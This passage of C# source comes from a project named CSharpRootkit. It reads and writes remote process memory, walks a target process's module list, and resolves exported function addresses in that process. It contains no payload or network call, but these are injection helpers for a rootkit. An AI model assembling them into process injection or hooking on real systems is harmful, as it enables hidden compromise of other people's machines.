(int)exportDir.NumberOfNames * Marshal.SizeOf(typeof(int)); 252 | IntPtr nameTableAddr = Marshal.AllocHGlobal(nameTableSize); 253 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + exportDir.AddressOfNames), nameTableAddr, (UIntPtr)nameTableSize, ref Rread_out)) 254 | { 255 | Marshal.FreeHGlobal(nameTableAddr); 256 | throw new Exception("couldnt read NAME table. ERR CODE: " + Marshal.GetLastWin32Error()); 257 | } 258 | uint[] nameTable = new uint[(int)exportDir.NumberOfNames]; 259 | for (int i = 0; i < (int)exportDir.NumberOfNames; i++) 260 | { 261 | nameTable[i] = Marshal.PtrToStructure(nameTableAddr + (i * 4)).Value; 262 | } 263 | Marshal.FreeHGlobal(nameTableAddr); 264 | 265 | int nameBufferLen = FunctionName.Length + 1;//for the string terminating null byte 266 | IntPtr nameBuffer = Marshal.AllocHGlobal(nameBufferLen); 267 | uint result = 0; 268 | for (int i = 0; i < nameTable.Length; i++) 269 | { 270 | if (!NativeMethods.ReadProcessMemory(hProcess, (IntPtr)(hModule + nameTable[i]), nameBuffer, (UIntPtr)nameBufferLen, ref Rread_out)) 271 | { 272 | Marshal.FreeHGlobal(nameBuffer); 273 | throw new Exception("couldnt read name buffer. ERR CODE: " + Marshal.GetLastWin32Error()); 274 | } 275 | byte SecondLastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 2); 276 | byte lastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 1); 277 | if (lastChar == 0 && SecondLastChar != 0) //make sure the last char is null and the second last char is not null 278 | { 279 | uint functionAddress = (uint)rvaTable[ordTable[i]]; 280 | string RetrivedFunctionName = Marshal.PtrToStringAnsi(nameBuffer); 281 | 282 | if (RetrivedFunctionName == FunctionName) 283 | { 284 | 285 | if (functionAddress >= dataTable.VirtualAddress && functionAddress < dataTable.VirtualAddress + dataTable.Size) 286 | { 287 | string ForwarderString = ReadRemoteAnsiString32(hProcess, (IntPtr)(hModule + functionAddress)); 288 | if (!ForwarderString.Contains(".")) 289 | { 290 | Marshal.FreeHGlobal(nameBuffer); 291 | throw new Exception("Couldnt the Forwarder info!"); 292 | } 293 | string[] Forwarder_info = ForwarderString.Split('.'); 294 | string fowardedDll = string.Join(".", Forwarder_info.Take(Forwarder_info.Length - 1).ToArray()) + ".dll"; 295 | string SearchElement = Forwarder_info[Forwarder_info.Length - 1]; 296 | if (SearchElement.Contains("#")) 297 | { 298 | Marshal.FreeHGlobal(nameBuffer); 299 | throw new Exception("Ordinal forwarder function is not supported at this time!"); 300 | } 301 | else 302 | { 303 | uint newModuleAddress = GetRemoteModuleHandle32Bit(hProcess, fowardedDll); 304 | if (newModuleAddress == 0) 305 | { 306 | Marshal.FreeHGlobal(nameBuffer); 307 | throw new Exception("Couldnt the Forwarder dll!"); 308 | } 309 | return GetRemoteProcAddress32Bit(hProcess, newModuleAddress, SearchElement); 310 | } 311 | } 312 | else 313 | { 314 | result = hModule + functionAddress; 315 | } 316 | break; 317 | } 318 | } 319 | } 320 | Marshal.FreeHGlobal(nameBuffer); 321 | return result; 322 | } 323 | 324 | } 325 | } 326 | -------------------------------------------------------------------------------- /CSharpRootkit/Utils/Utils64.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using static CSharpRootkit.InternalStructs; 8 | 9 | namespace CSharpRootkit 10 | { 11 | public class Utils64 12 | { 13 | 14 | public static bool WriteBytesToProcess64(IntPtr handle, ulong address, byte[] data) 15 | { 16 | IntPtr dataPtr = Marshal.AllocHGlobal(data.Length); 17 | Marshal.Copy(data, 0, dataPtr, data.Length); 18 | IntPtr BytesWritten; 19 | bool result; 20 | if (Environment.Is64BitProcess) 21 | { 22 | result = NativeMethods.WriteProcessMemory(handle, (IntPtr)address, dataPtr, (IntPtr)data.Length, out BytesWritten); 23 | } 24 | else 25 | { 26 | ulong len = 0; 27 | int WriteVirtualMemoryStatus = SpecialNativeMethods.WriteProcessMemory64From32(handle, address, dataPtr, (ulong)data.Length, ref len); 28 | result = WriteVirtualMemoryStatus == 0; 29 | if (!result) 30 | { 31 | NativeMethods.SetLastError((uint)WriteVirtualMemoryStatus); 32 | } 33 | BytesWritten = (IntPtr)len; 34 | } 35 | 36 | Marshal.FreeHGlobal(dataPtr); 37 | return result && BytesWritten == (IntPtr)data.Length; 38 | } 39 | 40 | 41 | private static bool ReadProperBitnessProcessMemory(IntPtr hProcess, ulong lpBaseAddress, IntPtr lpBuffer, UIntPtr dwSize, ref UIntPtr lpNumberOfBytesRead) 42 | { 43 | if (Environment.Is64BitProcess) 44 | { 45 | return NativeMethods.ReadProcessMemory(hProcess, (IntPtr)lpBaseAddress, lpBuffer, dwSize, ref lpNumberOfBytesRead); 46 | } 47 | else 48 | { 49 | ulong NumberOfBytesRead = 0; 50 | int ErrorResult = SpecialNativeMethods.ReadProcessMemory64From32(hProcess, lpBaseAddress, lpBuffer, (ulong)dwSize, ref NumberOfBytesRead); 51 | bool result = ErrorResult==0; 52 | if (!result) 53 | { 54 | NativeMethods.SetLastError((uint)ErrorResult); 55 | } 56 | lpNumberOfBytesRead = (UIntPtr)NumberOfBytesRead; 57 | return result; 58 | } 59 | } 60 | 61 | public static ulong GetRemoteModuleHandle64Bit(IntPtr hProcess, string DllBaseName, int max_flink_count = 600) 62 | { 63 | if (hProcess == IntPtr.Zero) 64 | { 65 | throw new Exception("The supplied hProcess is Null!"); 66 | } 67 | ulong PebBaseAddress = 0; 68 | UIntPtr Rread_out = UIntPtr.Zero; 69 | if (Environment.Is64BitProcess) 70 | { 71 | InternalStructs.PROCESS_BASIC_INFORMATION PBI = new InternalStructs.PROCESS_BASIC_INFORMATION(); 72 | uint PBI_size = (uint)Marshal.SizeOf(PBI); 73 | uint NTread_out = 0; 74 | if (NativeMethods.NtQueryPbi64From64(hProcess, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress==IntPtr.Zero) 75 | { 76 | throw new Exception("couldnt read PBI from process!"); 77 | } 78 | PebBaseAddress = (ulong)PBI.PebBaseAddress; 79 | } 80 | else 81 | { 82 | InternalStructs64.PROCESS_BASIC_INFORMATION64 PBI = new InternalStructs64.PROCESS_BASIC_INFORMATION64(); 83 | uint PBI_size = (uint)Marshal.SizeOf(PBI); 84 | uint NTread_out = 0; 85 | if (SpecialNativeMethods.NtQueryPBI64From32(hProcess, InternalStructs.PROCESSINFOCLASS.ProcessBasicInformation, ref PBI, PBI_size, ref NTread_out) != 0 || PBI.PebBaseAddress == 0) 86 | { 87 | throw new Exception("couldnt read PBI from process!"); 88 | } 89 | PebBaseAddress = PBI.PebBaseAddress; 90 | } 91 | 92 | if (PebBaseAddress == 0) 93 | { 94 | return 0; 95 | } 96 | 97 | ulong ldrAddr = InternalStructs64.GetLdr64(PebBaseAddress); 98 | int pLdrDataSize = Marshal.SizeOf(typeof(ULONGRESULT)); 99 | IntPtr pLdrData = Marshal.AllocHGlobal(pLdrDataSize); 100 | 101 | if (!ReadProperBitnessProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out)) 102 | { 103 | Marshal.FreeHGlobal(pLdrData); 104 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error()); 105 | } 106 | 107 | ulong pLdr64 = Marshal.PtrToStructure(pLdrData).Value; 108 | Marshal.FreeHGlobal(pLdrData); 109 | 110 | if (pLdr64 == 0) 111 | { 112 | return 0; 113 | } 114 | 115 | if (!ReadProperBitnessProcessMemory(hProcess, ldrAddr, pLdrData, (UIntPtr)pLdrDataSize, ref Rread_out)) 116 | { 117 | Marshal.FreeHGlobal(pLdrData); 118 | throw new Exception("couldnt read pLdrData. ERR CODE: " + Marshal.GetLastWin32Error()); 119 | } 120 | 121 | InternalStructs64.PEB_LDR_DATA64 ldr64; 122 | 123 | int ldr64Size = Marshal.SizeOf(typeof(InternalStructs64.PEB_LDR_DATA64)); 124 | IntPtr ldr64addr = Marshal.AllocHGlobal(ldr64Size); 125 | 126 | if (!ReadProperBitnessProcessMemory(hProcess, pLdr64, ldr64addr, (UIntPtr)ldr64Size, ref Rread_out)) 127 | { 128 | Marshal.FreeHGlobal(ldr64addr); 129 | throw new Exception("couldnt read ldr64. ERR CODE: " + Marshal.GetLastWin32Error()); 130 | } 131 | 132 | ldr64 = Marshal.PtrToStructure(ldr64addr); 133 | Marshal.FreeHGlobal(ldr64addr); 134 | 135 | ulong entry = ldr64.InLoadOrderModuleList.Flink; 136 | ulong head = (uint)ldrAddr + (uint)Marshal.OffsetOf(typeof(InternalStructs64.PEB_LDR_DATA64), "InLoadOrderModuleList"); 137 | 138 | int LdrDataTableSize = Marshal.SizeOf(typeof(InternalStructs64.LDR_DATA_TABLE_ENTRY64_SNAP)); 139 | IntPtr LdrDataTableAddr = Marshal.AllocHGlobal(LdrDataTableSize); 140 | 141 | ulong hModule = 0; 142 | int count = 0; 143 | while (entry != head && count < max_flink_count) 144 | { 145 | count++; 146 | if (!ReadProperBitnessProcessMemory(hProcess, entry, LdrDataTableAddr, (UIntPtr)LdrDataTableSize, ref Rread_out)) 147 | { 148 | break; 149 | } 150 | InternalStructs64.LDR_DATA_TABLE_ENTRY64_SNAP LdrDataTable = Marshal.PtrToStructure(LdrDataTableAddr); 151 | 152 | if (DllBaseName == null) 153 | { 154 | hModule = LdrDataTable.DllBase; 155 | break; 156 | } 157 | 158 | entry = LdrDataTable.InLoadOrderLinks.Flink; 159 | 160 | if ((LdrDataTable.BaseDllName.Length / 2) != DllBaseName.Length) 161 | { 162 | continue; 163 | } 164 | 165 | IntPtr currentModuleNameBufferAddr = Marshal.AllocHGlobal(LdrDataTable.BaseDllName.Length); 166 | if (!ReadProperBitnessProcessMemory(hProcess, LdrDataTable.BaseDllName.Buffer, currentModuleNameBufferAddr, (UIntPtr)LdrDataTable.BaseDllName.Length, ref Rread_out)) 167 | { 168 | Marshal.FreeHGlobal(currentModuleNameBufferAddr); 169 | break; 170 | } 171 | string baseDllname = Marshal.PtrToStringUni(currentModuleNameBufferAddr, LdrDataTable.BaseDllName.Length / 2); 172 | Marshal.FreeHGlobal(currentModuleNameBufferAddr); 173 | if (baseDllname.ToLower() == DllBaseName.ToLower()) 174 | { 175 | hModule = LdrDataTable.DllBase; 176 | break; 177 | } 178 | } 179 | Marshal.FreeHGlobal(LdrDataTableAddr); 180 | return hModule; 181 | } 182 | 183 | private static string ReadRemoteAnsiString64(IntPtr hProcess, ulong lpAddress) 184 | { 185 | string result = ""; 186 | UIntPtr Rread_out = UIntPtr.Zero; 187 | IntPtr byteBuffer = Marshal.AllocHGlobal(1); 188 | while (true) 189 | { 190 | if (!ReadProperBitnessProcessMemory(hProcess, lpAddress, byteBuffer, (UIntPtr)1, ref Rread_out)) 191 | { 192 | Marshal.FreeHGlobal(byteBuffer); 193 | throw new Exception("couldnt read AnsiString. ERR CODE: " + Marshal.GetLastWin32Error()); 194 | } 195 | byte Ch = Marshal.ReadByte(byteBuffer); 196 | if (Ch == 0) 197 | { 198 | break; 199 | } 200 | result += (char)Ch; 201 | lpAddress += 1; 202 | } 203 | return result; 204 | } 205 | 206 | public static ulong GetNtHeader64Addr(IntPtr hProcess, ulong hModule) 207 | { 208 | int dosHeaderSize = Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)); 209 | IntPtr dosHeaderaddr = Marshal.AllocHGlobal(dosHeaderSize); 210 | UIntPtr Rread_out = UIntPtr.Zero; 211 | if (!ReadProperBitnessProcessMemory(hProcess, hModule, dosHeaderaddr, (UIntPtr)dosHeaderSize, ref Rread_out)) 212 | { 213 | Marshal.FreeHGlobal(dosHeaderaddr); 214 | throw new Exception("couldnt read DosHeader. ERR CODE: " + Marshal.GetLastWin32Error()); 215 | } 216 | IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure(dosHeaderaddr); 217 | Marshal.FreeHGlobal(dosHeaderaddr); 218 | return hModule + (uint)dosHeader.e_lfanew; 219 | } 220 | 221 | public static InternalStructs64.IMAGE_NT_HEADERS64 GetNtHeader64(IntPtr hProcess, ulong hModule) 222 | { 223 | 224 | UIntPtr Rread_out = UIntPtr.Zero; 225 | int ntHeaderSize = Marshal.SizeOf(typeof(InternalStructs64.IMAGE_NT_HEADERS64)); 226 | IntPtr ntHeaderaddr = Marshal.AllocHGlobal(ntHeaderSize); 227 | if (!ReadProperBitnessProcessMemory(hProcess, GetNtHeader64Addr(hProcess, hModule), ntHeaderaddr, (UIntPtr)ntHeaderSize, ref Rread_out)) 228 | { 229 | Marshal.FreeHGlobal(ntHeaderaddr); 230 | throw new Exception("couldnt read NTHeader. ERR CODE: " + Marshal.GetLastWin32Error()); 231 | } 232 | InternalStructs64.IMAGE_NT_HEADERS64 ntHeader = Marshal.PtrToStructure(ntHeaderaddr); 233 | Marshal.FreeHGlobal(ntHeaderaddr); 234 | return ntHeader; 235 | } 236 | 237 | public static ulong GetRemoteProcAddress64Bit(IntPtr hProcess, ulong hModule, string FunctionName) 238 | { 239 | if (hModule == 0) 240 | { 241 | throw new Exception("couldnt read hModule is null or 0."); 242 | } 243 | 244 | UIntPtr Rread_out = UIntPtr.Zero; 245 | 246 | InternalStructs64.IMAGE_NT_HEADERS64 ntHeader = GetNtHeader64(hProcess, hModule); 247 | 248 | int IMAGE_DIRECTORY_ENTRY_EXPORT = 0; 249 | 250 | IMAGE_DATA_DIRECTORY dataTable = ntHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 251 | 252 | if (dataTable.Size == 0 || dataTable.VirtualAddress == 0) 253 | { 254 | return 0; 255 | } 256 | 257 | int explortDirSize = Marshal.SizeOf(typeof(IMAGE_EXPORT_DIRECTORY)); 258 | IntPtr exportDiraddr = Marshal.AllocHGlobal(explortDirSize); 259 | 260 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + dataTable.VirtualAddress), exportDiraddr, (UIntPtr)explortDirSize, ref Rread_out)) 261 | { 262 | Marshal.FreeHGlobal(exportDiraddr); 263 | throw new Exception("couldnt read IMAGE EXPORT DIRECTORY. ERR CODE: " + Marshal.GetLastWin32Error()); 264 | } 265 | 266 | IMAGE_EXPORT_DIRECTORY exportDir = Marshal.PtrToStructure(exportDiraddr); 267 | Marshal.FreeHGlobal(exportDiraddr); 268 | if (exportDir.NumberOfNames == 0) 269 | { 270 | return 0; 271 | } 272 | 273 | int rvaTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(int)); 274 | IntPtr rvaTableAddr = Marshal.AllocHGlobal(rvaTableSize); 275 | 276 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfFunctions), rvaTableAddr, (UIntPtr)rvaTableSize, ref Rread_out)) 277 | { 278 | Marshal.FreeHGlobal(rvaTableAddr); 279 | throw new Exception("couldnt read RVA table. ERR CODE: " + Marshal.GetLastWin32Error()); 280 | } 281 | uint[] rvaTable = new uint[(int)exportDir.NumberOfFunctions]; 282 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++) 283 | { 284 | rvaTable[i] = Marshal.PtrToStructure(rvaTableAddr + (i * 4)).Value; 285 | } 286 | Marshal.FreeHGlobal(rvaTableAddr); 287 | 288 | int ordTableSize = (int)exportDir.NumberOfFunctions * Marshal.SizeOf(typeof(short)); 289 | IntPtr ordTableAddr = Marshal.AllocHGlobal(ordTableSize); 290 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfNameOrdinals), ordTableAddr, (UIntPtr)ordTableSize, ref Rread_out)) 291 | { 292 | Marshal.FreeHGlobal(ordTableAddr); 293 | throw new Exception("couldnt read ORD table. ERR CODE: " + Marshal.GetLastWin32Error()); 294 | } 295 | ushort[] ordTable = new ushort[(int)exportDir.NumberOfFunctions]; 296 | for (int i = 0; i < (int)exportDir.NumberOfFunctions; i++) 297 | { 298 | ordTable[i] = Marshal.PtrToStructure(ordTableAddr + (i * 2)).Value; 299 | } 300 | Marshal.FreeHGlobal(ordTableAddr); 301 | 302 | int nameTableSize = (int)exportDir.NumberOfNames * Marshal.SizeOf(typeof(int)); 303 | IntPtr nameTableAddr = Marshal.AllocHGlobal(nameTableSize); 304 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + exportDir.AddressOfNames), nameTableAddr, (UIntPtr)nameTableSize, ref Rread_out)) 305 | { 306 | Marshal.FreeHGlobal(nameTableAddr); 307 | throw new Exception("couldnt read NAME table. ERR CODE: " + Marshal.GetLastWin32Error()); 308 | } 309 | uint[] nameTable = new uint[(int)exportDir.NumberOfNames]; 310 | for (int i = 0; i < (int)exportDir.NumberOfNames; i++) 311 | { 312 | nameTable[i] = Marshal.PtrToStructure(nameTableAddr + (i * 4)).Value; 313 | } 314 | Marshal.FreeHGlobal(nameTableAddr); 315 | 316 | int nameBufferLen = FunctionName.Length + 1;//for the string terminating null byte 317 | IntPtr nameBuffer = Marshal.AllocHGlobal(nameBufferLen); 318 | ulong result = 0; 319 | for (int i = 0; i < nameTable.Length; i++) 320 | { 321 | if (!ReadProperBitnessProcessMemory(hProcess, (hModule + nameTable[i]), nameBuffer, (UIntPtr)nameBufferLen, ref Rread_out)) 322 | { 323 | Marshal.FreeHGlobal(nameBuffer); 324 | throw new Exception("couldnt read name buffer. ERR CODE: " + Marshal.GetLastWin32Error()); 325 | } 326 | byte SecondLastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 2); 327 | byte lastChar = Marshal.ReadByte(nameBuffer + nameBufferLen - 1); 328 | if (lastChar == 0 && SecondLastChar != 0) //make sure the last char is null and the second last char is not null 329 | { 330 | uint functionAddress = (uint)rvaTable[ordTable[i]]; 331 | string RetrivedFunctionName = Marshal.PtrToStringAnsi(nameBuffer); 332 | 333 | if (RetrivedFunctionName == FunctionName) 334 | { 335 | 336 | if (functionAddress >= dataTable.VirtualAddress && functionAddress < dataTable.VirtualAddress + dataTable.Size) 337 | { 338 | string ForwarderString = ReadRemoteAnsiString64(hProcess, (hModule + functionAddress)); 339 | if (!ForwarderString.Contains(".")) 340 | { 341 | Marshal.FreeHGlobal(nameBuffer); 342 | throw new Exception("Couldnt the Forwarder info!"); 343 | } 344 | string[] Forwarder_info = ForwarderString.Split('.'); 345 | string fowardedDll = string.Join(".", Forwarder_info.Take(Forwarder_info.Length - 1).ToArray()) + ".dll"; 346 | string SearchElement = Forwarder_info[Forwarder_info.Length - 1]; 347 | if (SearchElement.Contains("#")) 348 | { 349 | Marshal.FreeHGlobal(nameBuffer); 350 | throw new Exception("Ordinal forwarder function is not supported at this time!"); 351 | } 352 | else 353 | { 354 | ulong newModuleAddress = GetRemoteModuleHandle64Bit(hProcess, fowardedDll); 355 | if (newModuleAddress == 0) 356 | { 357 | Marshal.FreeHGlobal(nameBuffer); 358 | throw new Exception("Couldnt the Forwarder dll!"); 359 | } 360 | return GetRemoteProcAddress64Bit(hProcess, newModuleAddress, SearchElement); 361 | } 362 | } 363 | else 364 | { 365 | result = hModule + functionAddress; 366 | } 367 | break; 368 | } 369 | } 370 | } 371 | Marshal.FreeHGlobal(nameBuffer); 372 | 373 | return result; 374 | 375 | } 376 | 377 | 378 | } 379 | } 380 | --------------------------------------------------------------------------------